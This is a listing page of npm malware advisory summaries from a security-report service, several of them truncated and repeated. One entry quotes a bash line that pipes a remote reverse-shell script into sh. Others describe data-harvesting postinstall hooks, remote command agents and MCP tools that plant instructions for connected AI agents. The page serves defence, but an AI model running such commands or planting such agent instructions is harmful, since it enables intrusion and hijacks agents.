npm security reports, with evidence.
Investigate malicious npm packages and AI-agent policy findings. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision. Malware findings and policy violations are labelled separately.
Security reports — page 675
Updated 28 Oct 2026, 03:00 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-10751 blocks this version. When the user runs `vanexa-agent start`, the daemon opens a persistent WebSocket to a hardcoded Cloudflare Workers relay a...
OpenSSF/OSV malware advisory MAL-2026-10737 blocks this version. The npm package advertises itself as a 'VPS routine scheduler' but ships prebuilt Rust binaries (mmagrt and mmagrt-mcp) fo...
OpenSSF/OSV malware advisory MAL-2026-10751 blocks this version. When the user runs `vanexa-agent start`, the daemon opens a persistent WebSocket to a hardcoded Cloudflare Workers relay a...
OpenSSF/OSV malware advisory MAL-2026-10728 blocks this version. dist/index.js in bvm-core@1.1.43 imports child_process and issues fetch() calls to the hardcoded host https://bvm-core.nex...
OpenSSF/OSV malware advisory MAL-2026-10728 blocks this version. dist/index.js in bvm-core@1.1.43 imports child_process and issues fetch() calls to the hardcoded host https://bvm-core.nex...
OpenSSF/OSV malware advisory MAL-2025-6694 blocks this version. The package communicates with a domain associated with malicious activity.
OpenSSF/OSV malware advisory MAL-2026-10749 blocks this version. Package.json declares `"postinstall": "node setup.js"`, so `setup.js` runs automatically on `npm install`. The script asse...
OpenSSF/OSV malware advisory MAL-2025-6694 blocks this version. The package communicates with a domain associated with malicious activity.
OpenSSF/OSV malware advisory MAL-2026-10749 blocks this version. Package.json declares `"postinstall": "node setup.js"`, so `setup.js` runs automatically on `npm install`. The script asse...
OpenSSF/OSV malware advisory MAL-2026-10749 blocks this version. Package.json declares `"postinstall": "node setup.js"`, so `setup.js` runs automatically on `npm install`. The script asse...
OpenSSF/OSV malware advisory MAL-2026-10743 blocks this version. Package name impersonates the NordPass password-manager product while presenting itself as 'A simple authentication module...
OpenSSF/OSV malware advisory MAL-2026-10742 blocks this version. On npm install, package.json's postinstall hook runs `node test.js`, which loads index.js and immediately invokes two harv...
OpenSSF/OSV malware advisory MAL-2026-10729 blocks this version. The package's runtime code implements a remote command-and-control agent rather than a normal library. bin/cli.js hardcode...
OpenSSF/OSV malware advisory MAL-2026-10741 blocks this version. netcontrol-agent.js implements a remote agent that long-polls a configured server URL and pipes the returned bytes directl...
OpenSSF/OSV malware advisory MAL-2026-10730 blocks this version. codeam-cli spawns a node-pty pseudo-terminal wrapping the local Claude Code / Codex agent process and connects outbound ov...
OpenSSF/OSV malware advisory MAL-2026-10747 blocks this version. sensorium-mcp starts a background poller against api.telegram.org/getUpdates and delivers received message text as prompts...
OpenSSF/OSV malware advisory MAL-2026-10691 blocks this version. index.js line 5 invokes exec('/bin/bash -c "curl https://reverse-shell.sh/... | sh"'), piping a remote script directly int...
OpenSSF/OSV malware advisory MAL-2026-10745 blocks this version. LPM AI assessed this version as suspicious; the assessments disagree. When the `tool-server` bin is launched, the package...
OpenSSF/OSV malware advisory MAL-2026-10738 blocks this version. The sole shipped file index.js is heavily obfuscated with a base64+RC4 string-array decoder that hides all module names, U...
OpenSSF/OSV malware advisory MAL-2026-10752 blocks this version. The package's sole file i.js (declared as main) is a heavily obfuscated IIFE whose top-level exploit() runs unconditionall...
OpenSSF/OSV malware advisory MAL-2026-10752 blocks this version. The package's sole file i.js (declared as main) is a heavily obfuscated IIFE whose top-level exploit() runs unconditionall...
OpenSSF/OSV malware advisory MAL-2026-10752 blocks this version. The package's sole file i.js (declared as main) is a heavily obfuscated IIFE whose top-level exploit() runs unconditionall...
OpenSSF/OSV malware advisory MAL-2026-10736 blocks this version. memtry-cli installs an MCP server whose `memtry_onboarding` tool returns a prompt that instructs the connected AI agent to...
OpenSSF/OSV malware advisory MAL-2026-10752 blocks this version. The package's sole file i.js (declared as main) is a heavily obfuscated IIFE whose top-level exploit() runs unconditionall...
OpenSSF/OSV malware advisory MAL-2026-10696 blocks this version. The npm package's only file of substance is index.html (declared as `main` in package.json). When opened in a browser, the...